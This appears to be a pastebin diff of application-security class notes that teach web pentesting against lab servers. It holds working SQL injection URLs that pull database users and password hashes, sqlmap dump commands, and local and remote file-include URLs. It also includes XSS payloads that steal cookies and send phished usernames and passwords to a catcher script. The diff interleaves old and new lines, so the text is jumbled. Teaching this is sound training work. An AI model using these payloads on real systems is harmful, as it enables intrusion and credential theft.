SHOW:
|
|
- or go back to the newest paste.
1 | ####################### | |
2 | - | # Burp Suite Workshop # |
2 | + | # Norway AppSec Class # |
3 | ####################### | |
4 | ||
5 | ||
6 | ||
7 | ################# | |
8 | # Passive Recon # | |
9 | ################# | |
10 | ||
11 | - Wikipedia Page | |
12 | - Are they Public or Private? | |
13 | - Does the target have any subsidiaries? | |
14 | ||
15 | - Robtex | |
16 | - Show system map | |
17 | ||
18 | - Netcraft | |
19 | - http://toolbar.netcraft.com/site_report | |
20 | ||
21 | - Passive Recon (Firefox Add-on) | |
22 | ||
23 | - Example OSINT Report to review: | |
24 | https://s3.amazonaws.com/infosecaddictsfiles/OSINT_Innophos_11242010.doc | |
25 | ||
26 | ||
27 | ||
28 | - | Let's start with some manual testing against 45.77.162.239 |
28 | + | |
29 | ################################## | |
30 | # Basic: Web Application Testing # | |
31 | - | Start here: |
31 | + | |
32 | - | ---------------------------Paste this into Firefox----------------------------------- |
32 | + | |
33 | - | http://45.77.162.239/ |
33 | + | |
34 | - | ----------------------------------------------------------------------- |
34 | + | |
35 | ||
36 | - | There's no parameter passing on the home page so the answer to question 1 is NO. |
36 | + | |
37 | - | There is however a search box in the top right of the webpage, so the answer to question 2 is YES. |
37 | + | |
38 | ||
39 | - | Try an XSS in the search box on the home page: |
39 | + | |
40 | - | ---------------------------Paste this into Firefox----------------------------------- |
40 | + | |
41 | - | <script>alert(123);</script> |
41 | + | |
42 | - | ------------------------------------------------------------------------------------- |
42 | + | |
43 | - If yes - try SQL Injection | |
44 | - | Doing this gives us the following in the address bar: |
44 | + | |
45 | - | ---------------------------Paste this into Firefox----------------------------------- |
45 | + | |
46 | - | http://45.77.162.239/BasicSearch.aspx?Word=<script>alert(123);</script> |
46 | + | |
47 | - | ------------------------------------------------------------------------------------- |
47 | + | |
48 | 3. Does the page reference a file? | |
49 | - | Ok, so that XSS attempt didn't work - we'll cover more of this later. |
49 | + | |
50 | ||
51 | - | Let's move on to the search box in the left of the page. |
51 | + | Let's start with some manual testing against 45.63.104.73 |
52 | ||
53 | - | Let's give the newsletter signup box a shot |
53 | + | |
54 | ####################### | |
55 | - | Moving on to the login page. |
55 | + | |
56 | - | ---------------------------Paste this into Firefox----------------------------------- |
56 | + | |
57 | - | http://45.77.162.239/login.aspx |
57 | + | |
58 | - | ------------------------------------------------------------------------------------- |
58 | + | |
59 | http://45.63.104.73/ | |
60 | - | I entered a single quote (') for both the user name and the password. I got the following error: |
60 | + | |
61 | ||
62 | - | Let's try throwing a single quote (') in there: |
62 | + | |
63 | - | ---------------------------Paste this into Firefox----------------------------------- |
63 | + | |
64 | - | http://45.77.162.239/bookdetail.aspx?id=2' |
64 | + | |
65 | - | ------------------------------------------------------------------------------------- |
65 | + | |
66 | - Found parameter passing (answer yes to question 1) | |
67 | - | I get the following error: |
67 | + | |
68 | ||
69 | - | Unclosed quotation mark after the character string ''. |
69 | + | |
70 | - | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. |
70 | + | |
71 | ||
72 | - | Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''. |
72 | + | |
73 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1 | |
74 | ||
75 | ||
76 | ||
77 | In order to perform union-based sql injection - we must first determine the number of columns in this query. | |
78 | We do this using the ORDER BY | |
79 | http://45.63.104.73/acre2.php?lap=acer' order by 100-- + | |
80 | ||
81 | Page returns the following error: | |
82 | Unknown column '100' in 'order clause' | |
83 | - | ######################################################################################### |
83 | + | |
84 | - | # SQL Injection # |
84 | + | |
85 | - | # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx # |
85 | + | |
86 | - | ######################################################################################### |
86 | + | |
87 | ||
88 | Page returns the following error: | |
89 | - | - Another quick way to test for SQLI is to remove the parameter value |
89 | + | |
90 | ||
91 | ||
92 | - | ############################# |
92 | + | |
93 | - | # Error-Based SQL Injection # |
93 | + | |
94 | - | ############################# |
94 | + | |
95 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
95 | + | |
96 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- |
96 | + | |
97 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- |
97 | + | |
98 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- |
98 | + | |
99 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- |
99 | + | |
100 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- |
100 | + | |
101 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases |
101 | + | |
102 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- |
102 | + | |
103 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- |
103 | + | |
104 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- |
104 | + | |
105 | ||
106 | http://45.63.104.73/acre2.php?lap=acer' order by 6-- + | |
107 | ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns | |
108 | ||
109 | ||
110 | ||
111 | - | ############################# |
111 | + | |
112 | - | # Union-Based SQL Injection # |
112 | + | |
113 | - | ############################# |
113 | + | |
114 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
114 | + | |
115 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 100-- |
115 | + | |
116 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 50-- |
116 | + | |
117 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 25-- |
117 | + | |
118 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 10-- |
118 | + | |
119 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 5-- |
119 | + | |
120 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 6-- |
120 | + | |
121 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 7-- |
121 | + | |
122 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 8-- |
122 | + | |
123 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 9-- |
123 | + | |
124 | - | http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- |
124 | + | |
125 | We see that a 4 and a 5 are on the screen. These are the columns that will echo back data | |
126 | ||
127 | - | We are using a union select statement because we are joining the developer's query with one of our own. |
127 | + | |
128 | - | Reference: |
128 | + | |
129 | - | http://www.techonthenet.com/sql/union.php |
129 | + | |
130 | - | The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. |
130 | + | |
131 | - | It removes duplicate rows between the various SELECT statements. |
131 | + | |
132 | http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j | |
133 | - | Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. |
133 | + | |
134 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
134 | + | |
135 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- |
135 | + | |
136 | http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- + | |
137 | - | Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed. |
137 | + | |
138 | http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- + | |
139 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
139 | + | |
140 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- |
140 | + | |
141 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- |
141 | + | |
142 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- |
142 | + | |
143 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- |
143 | + | |
144 | ||
145 | ######################## | |
146 | # Question I get a lot # | |
147 | ######################## | |
148 | Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string. | |
149 | - | - Another way is to see if you can get the backend to perform an arithmetic function |
149 | + | |
150 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
150 | + | |
151 | - | http://45.77.162.239/bookdetail.aspx?id=(2) |
151 | + | |
152 | - | http://45.77.162.239/bookdetail.aspx?id=(4-2) |
152 | + | |
153 | - | http://45.77.162.239/bookdetail.aspx?id=(4-1) |
153 | + | |
154 | ||
155 | ||
156 | - | - This is some true/false logic testing |
156 | + | |
157 | - | ---------------------------Paste this into Firefox----------------------------------- |
157 | + | |
158 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1=1-- |
158 | + | |
159 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1=2-- |
159 | + | # File Handling Attacks # |
160 | - | http://45.77.162.239/bookdetail.aspx?id=1*1 |
160 | + | |
161 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1# |
161 | + | |
162 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1<99# |
162 | + | Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file) |
163 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1# |
163 | + | http://45.63.104.73/showfile.php?filename=about.txt |
164 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3-- |
164 | + | |
165 | - | http://45.77.162.239/bookdetail.aspx?id=2 &0# |
165 | + | |
166 | - | ------------------------------------------------------------------------------------- |
166 | + | |
167 | See if you can read files on the file system: | |
168 | - | -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it |
168 | + | |
169 | - | ---------------------------Paste this into Firefox----------------------------------- |
169 | + | |
170 | - | http://45.77.162.239/bookdetail.aspx?id=2 and 1=1-- |
170 | + | We call this attack a Local File Include or LFI. |
171 | - | http://45.77.162.239/bookdetail.aspx?id=2 and 1=2-- |
171 | + | |
172 | - | http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1-- |
172 | + | Now let's find some text out on the internet somewhere: |
173 | - | http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1-- |
173 | + | https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt |
174 | - | --------------------------------------------------------------------------------------- |
174 | + | |
175 | ||
176 | Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI: | |
177 | - | ############################### |
177 | + | http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt |
178 | - | # Blind SQL Injection Testing # |
178 | + | |
179 | - | ############################### |
179 | + | |
180 | - | Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER |
180 | + | |
181 | ############################################################################### | |
182 | - | 3 - Total Characters |
182 | + | |
183 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
183 | + | # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx # |
184 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- |
184 | + | |
185 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- |
185 | + | |
186 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) |
186 | + | |
187 | ||
188 | 1. Use Firefox to browse to the following location: | |
189 | - | Let's go for a quick check to see if it's DBO |
189 | + | |
190 | - | ---------------------------Paste this into Firefox----------------------------------- |
190 | + | |
191 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- |
191 | + | |
192 | - | ------------------------------------------------------------------------------------- |
192 | + | |
193 | - | Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun. |
193 | + | |
194 | ||
195 | - | D - 1st Character |
195 | + | |
196 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
196 | + | |
197 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- |
197 | + | |
198 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- |
198 | + | |
199 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- |
199 | + | |
200 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) |
200 | + | |
201 | ||
202 | This should pop-up an alert window with your message in it proving XSS is in fact possible. | |
203 | - | B - 2nd Character |
203 | + | |
204 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
204 | + | |
205 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
205 | + | |
206 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
206 | + | |
207 | ||
208 | <script>alert(document.cookie)</script> | |
209 | - | O - 3rd Character |
209 | + | |
210 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
210 | + | |
211 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
211 | + | |
212 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- |
212 | + | |
213 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
213 | + | |
214 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
214 | + | |
215 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- |
215 | + | |
216 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- |
216 | + | |
217 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
217 | + | |
218 | ||
219 | This will actually pass your cookie to the cookie catcher that we have sitting on the webserver. | |
220 | ||
221 | ||
222 | 5. Now view the stolen cookie at: | |
223 | - | ########## |
223 | + | http://45.63.104.73/xss_practice/cookie_stealer_logs.html |
224 | - | # Sqlmap # |
224 | + | |
225 | - | ########## |
225 | + | |
226 | - | If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands: |
226 | + | |
227 | - | ---------------------------Type This----------------------------------- |
227 | + | |
228 | - | cd ~/toolz/sqlmap-dev/ |
228 | + | |
229 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b |
229 | + | |
230 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user |
230 | + | |
231 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db |
231 | + | |
232 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs |
232 | + | |
233 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables |
233 | + | |
234 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns |
234 | + | |
235 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns |
235 | + | |
236 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump |
236 | + | |
237 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump |
237 | + | |
238 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords |
238 | + | |
239 | - | ------------------------------------------------------------------------ |
239 | + | |
240 | ||
241 | Use Firefox to browse to the following location: | |
242 | ||
243 | http://45.63.104.73/xss_practice/ | |
244 | ||
245 | ||
246 | ||
247 | Paste this in the search box | |
248 | - | ---------------------------Paste this into Firefox----------------------------------- |
248 | + | |
249 | ||
250 | - | ------------------------------------------------------------------------------------- |
250 | + | |
251 | ||
252 | <script> | |
253 | password=prompt('Your session is expired. Please enter your password to continue',' '); | |
254 | - | ---------------------------Paste this into Firefox----------------------------------- |
254 | + | |
255 | </script> | |
256 | - | ------------------------------------------------------------------------------------- |
256 | + | |
257 | ||
258 | Now view the stolen cookie at: | |
259 | http://45.63.104.73/xss_practice/passwords.html | |
260 | ||
261 | - | ---------------------------Paste this into Firefox----------------------------------- |
261 | + | |
262 | ||
263 | - | ------------------------------------------------------------------------------------- |
263 | + | |
264 | ||
265 | ||
266 | ||
267 | ||
268 | ######################### | |
269 | # Setting up Burp Suite # | |
270 | ######################### | |
271 | Download the latest free version of FoxyProxy at https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/ | |
272 | - | ---------------------------Paste this into Firefox----------------------------------- |
272 | + | |
273 | Download the latest free version of Burp at https://portswigger.net/burp/freedownload | |
274 | - | ------------------------------------------------------------------------------------- |
274 | + | |
275 | Be sure to download the appropriate version for your computer system/OS. | |
276 | ||
277 | Make sure that burpsuite_free_v1.7.27.jar is set as executable (chmod +x burpsuite_free_v1.7.27.jar) and then run: | |
278 | ||
279 | java -jar burpsuite_free_v1.7.27.jar | |
280 | ||
281 | - | ---------------------------Paste this into Firefox----------------------------------- |
281 | + | |
282 | - Click the "Options" sub tab | |
283 | - | ------------------------------------------------------------------------------------- |
283 | + | |
284 | - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only” | |
285 | - In the same pop up make sure that the bind port is 8080 | |
286 | - In the same pop up select the “Certificate” tab | |
287 | - Ensure that burp is configured to "generate CA-signed per-host certificates" | |
288 | ||
289 | Open Firefox | |
290 | - | ---------------------------Paste this into Firefox----------------------------------- |
290 | + | |
291 | - Click “Preferences" | |
292 | - | ------------------------------------------------------------------------------------- |
292 | + | |
293 | - Click the "Network" sub tab | |
294 | - Click the connection "settings" button | |
295 | - Click "manual proxy configuration" | |
296 | set it to 127.0.0.1 port 8080 | |
297 | check "Use this proxy server for all protocols" | |
298 | - | ---------------------------Paste this into Firefox----------------------------------- |
298 | + | |
299 | ||
300 | - | ------------------------------------------------------------------------------------- |
300 | + | |
301 | Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates. | |
302 | ||
303 | - | Unknown column '12' in 'order clause' |
303 | + | |
304 | ||
305 | On the “This Connection is Untrusted” screen, click on “Add Exception” | |
306 | - | ---------------------------Paste this into Firefox----------------------------------- |
306 | + | |
307 | ||
308 | - | ------------------------------------------------------------------------------------- |
308 | + | |
309 | ||
310 | Click "Export" and save the certificate as "BurpCert" on the Desktop. | |
311 | ||
312 | Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog | |
313 | Go to Edit | Preferences | |
314 | Click “Advanced” and go to “Certificates” tab | |
315 | Click “View Certificates” | |
316 | ||
317 | Click "Import" and select the certificate file that you previously saved. | |
318 | ||
319 | - | ---------------------------Paste this into Firefox----------------------------------- |
319 | + | |
320 | ||
321 | - | ------------------------------------------------------------------------------------- |
321 | + | |
322 | ||
323 | ||
324 | ||
325 | ||
326 | ||
327 | ############################################################### | |
328 | - | ------------------------------------------------------------------------------------- |
328 | + | |
329 | ############################################################### | |
330 | ||
331 | Step 1: Automated Testing | |
332 | ||
333 | Step 1a: Web Application vulnerability scanners | |
334 | ----------------------------------------------- | |
335 | - Run two (2) unauthenticated vulnerability scans against the target | |
336 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
336 | + | |
337 | - Run two (2) authenticated vulnerability scans against the target with admin privileges | |
338 | ||
339 | The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix). | |
340 | ||
341 | A good web application vulnerability scanner comparison website is here: | |
342 | http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html | |
343 | ||
344 | ||
345 | Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. | |
346 | - | ------------------------------------------------------------------------------------- ------------------- |
346 | + | |
347 | When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. | |
348 | ||
349 | ||
350 | Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore. | |
351 | ||
352 | ||
353 | Also, be sure to save the scan results and logs. I usually provide this data to the customer. | |
354 | ||
355 | ||
356 | ||
357 | Step 1b: Directory Brute Forcer | |
358 | ------------------------------- | |
359 | I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc). | |
360 | ||
361 | - | # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx # |
361 | + | |
362 | ||
363 | Step 2: Manual Testing | |
364 | ||
365 | Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic). | |
366 | ||
367 | - | ---------------------------Paste this into Firefox----------------------------------- |
367 | + | |
368 | Save the spider and scan results. I usually provide this data to the customer as well. | |
369 | - | ------------------------------------------------------------------------------------- |
369 | + | |
370 | ||
371 | Step 2b: Browse through the site using the 3 question method | |
372 | Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'. | |
373 | ||
374 | Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value. | |
375 | ||
376 | Here is what I mean: | |
377 | - | ---------------------------Paste this into Firefox----------------------------------- |
377 | + | |
378 | ||
379 | - | ------------------------------------------------------------------------------------- |
379 | + | |
380 | ||
381 | http://www.site.com/page.aspx?parametername=[ payload ] | |
382 | ||
383 | You need to ensure that you send the payload this way, and like this below: | |
384 | ||
385 | http://www.site.com/page.aspx?parametername=parametervalue[ payload ] | |
386 | ||
387 | - | ---------------------------Paste this into Firefox----------------------------------- |
387 | + | |
388 | ||
389 | - | ------------------------------------------------------------------------------------- |
389 | + | |
390 | ||
391 | ||
392 | ||
393 | ||
394 | ||
395 | ########################################### | |
396 | - | ---------------------------Paste this into Firefox----------------------------------- |
396 | + | |
397 | ########################################### | |
398 | - | ------------------------------------------------------------------------------------- |
398 | + | |
399 | ||
400 | Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do. | |
401 | ||
402 | ||
403 | Step 1: Ask yourself the 3 questions per page of the site. | |
404 | - | ---------------------------Paste this into Firefox----------------------------------- |
404 | + | |
405 | - | http://45.63.104.73/xss_practice/cookie_stealer_logs.html |
405 | + | |
406 | - | ------------------------------------------------------------------------------------- |
406 | + | |
407 | Step 3: When you load your fuzz strings - use the following decision tree | |
408 | ||
409 | - Are the fuzz strings causing a default error message (example 404)? | |
410 | - If this is the case then it is most likely NOT vulnerable | |
411 | ||
412 | - Are the fuzz strings causing a WAF or LB custom error message? | |
413 | - If this is the case then you need to find an encoding method to bypass | |
414 | ||
415 | ||
416 | - Are the fuzz strings causing an error message that discloses the backend type? | |
417 | - If yes, then identify DB type and find correct syntax to successfully exploit | |
418 | - Some example strings that I use are: | |
419 | ' | |
420 | " | |
421 | () <----- Take the parameter value and put it in parenthesis | |
422 | (5-1) <----- See if you can perform an arithmetic function | |
423 | ||
424 | - | ---------------------------Paste this into Firefox----------------------------------- |
424 | + | |
425 | - Are the fuzz strings rendering executable code? | |
426 | - | ------------------------------------------------------------------------------------- |
426 | + | |
427 | - Some example strings that I use are: | |
428 | <b>hello</b> | |
429 | <u>hello</u> | |
430 | <script>alert(123);</script> | |
431 | <script>alert(xss);</script> | |
432 | <script>alert('xss');</script> | |
433 | - | Option 1 |
433 | + | |
434 | - | -------- |
434 | + | |
435 | - | ---------------------------Paste this into Firefox----------------------------------- |
435 | + | |
436 | ||
437 | ||
438 | ||
439 | ||
440 | - | ------------------------------------------------------------------------------------- |
440 | + | |
441 | ------------------------------------------------------------------------------------------- | |
442 | OWASP Top 10 Video Explanations | |
443 | - | ---------------------------Paste this into Firefox----------------------------------- |
443 | + | |
444 | Burp Suite Reference: | |
445 | - | ------------------------------------------------------------------------------------- |
445 | + | |
446 | ||
447 | A1: Injection Vulnerabilities | |
448 | - | Option 2 |
448 | + | https://www.youtube.com/watch?v=9CnpHT5Nn8c&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj |
449 | - | -------- |
449 | + | |
450 | - | -------------------------Paste this into Firefox----------------------------------- |
450 | + | |
451 | A2: Broken Authentication and Session Management | |
452 | - | username=prompt('Please enter your username',' '); |
452 | + | https://www.youtube.com/watch?v=R1iGRBG3PJ8&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=2 |
453 | - | password=prompt('Please enter your password',' '); |
453 | + | |
454 | - | document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">"); |
454 | + | A3: Cross Site Scripting (XSS) |
455 | https://www.youtube.com/watch?v=90XT0j5E7xo&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=4 | |
456 | - | ------------------------------------------------------------------------------------- |
456 | + | |
457 | A4: Insecure Direct Object Reference | |
458 | https://www.youtube.com/watch?v=bMYpGj2xzpM&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=5 | |
459 | ||
460 | ||
461 | - | http://45.63.104.73/xss_practice/username_password_logs.html |
461 | + | A5: Security Misconfiguration |
462 | https://www.youtube.com/watch?v=ouuXu9_UM0w&index=7&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj | |
463 | ||
464 | ||
465 | A6: Sensitive Data Exposure | |
466 | - | ######################################### |
466 | + | https://www.youtube.com/watch?v=x-B8I420x7Y&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=8 |
467 | - | # Let's try a local file include (LFI) # |
467 | + | |
468 | - | ######################################### |
468 | + | |
469 | - | - Here is an example of an LFI |
469 | + | A7: Missing Function Level Access Control and A8 Cross-Site Request Forgery (CSRF) |
470 | - | - Open this page in Firefox: |
470 | + | https://www.youtube.com/watch?v=gf6cb7MnP-c&index=9&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj |
471 | - | -------------------------Paste this into Firefox----------------------------------- |
471 | + | |
472 | - | http://45.63.104.73/showfile.php?filename=contactus.txt |
472 | + | A9 Using Components w/ Known Vulnerabilities & A10 Unvalidated Redirects and Forwards |
473 | - | ------------------------------------------------------------------------------------- |
473 | + | https://www.youtube.com/watch?v=WqlSl-Pc1vk&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=10 |
474 | ||
475 | ||
476 | - | - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt) |
476 | + | |
477 | - | - Here you see a direct reference to a file on the local filesystem of the victim machine. |
477 | + | |
478 | - | - You can attack this by doing the following: |
478 | + | |
479 | - | -------------------------Paste this into Firefox----------------------------------- |
479 | + | |
480 | ||
481 | - | ------------------------------------------------------------------------------------- |
481 | + | In order to collaborate with the other students on your homework you must signup with your Gmail account using the following Google form: |
482 | https://goo.gl/forms/Ou5yi0VhbLJZBufg2 | |
483 | ||
484 | - | - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from |
484 | + | Filling out this form will give you access to the Google Drive folder where the class homework is contained. |
485 | - | - somewhere else on the Internet. Here is an example of a text file on the web: |
485 | + | |
486 | - | -------------------------Paste this into Firefox----------------------------------- |
486 | + | |
487 | - | http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt |
487 | + | |
488 | - | ------------------------------------------------------------------------------------- |
488 | + | |
489 | Here is a good reference for how to install and configure Burp Suite: | |
490 | - | - Now we can attack the target via RFI like this: |
490 | + | https://nvisium.com/blog/2014/01/10/setting-up-burpsuite-with-firefox-and/ |
491 | - | -------------------------Paste this into Firefox----------------------------------- |
491 | + | |
492 | - | http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt |
492 | + | |
493 | - | ------------------------------------------------------------------------------------- |
